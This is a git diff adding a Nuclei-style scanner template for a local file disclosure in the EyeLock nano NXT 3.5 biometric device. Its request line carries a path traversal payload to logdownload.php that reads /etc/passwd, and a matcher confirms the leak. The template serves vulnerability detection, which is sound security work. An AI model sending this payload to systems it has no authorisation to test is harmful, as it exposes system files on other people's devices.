diff --git a/vulnerabilities/other/eyelock-nano-lfd.yaml b/vulnerabilities/other/eyelock-nano-lfd.yaml new file mode 100644 index 0000000000..2a9c255fd8 --- /dev/null +++ b/vulnerabilities/other/eyelock-nano-lfd.yaml @@ -0,0 +1,24 @@ +id: eyelock-nano-lfd + +info: + name: EyeLock nano NXT 3.5 - Local File Disclosure + description: + author: geeknik + reference: https://www.zeroscience.mk/codes/eyelock_lfd.txt + severity: high + tags: eyelock,lfd,traversal,iot,biometrics + +requests: + - method: GET + path: + - "{{BaseURL}}/scripts/logdownload.php?dlfilename=juicyinfo.txt&path=../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:[x*]:0:0:" + part: body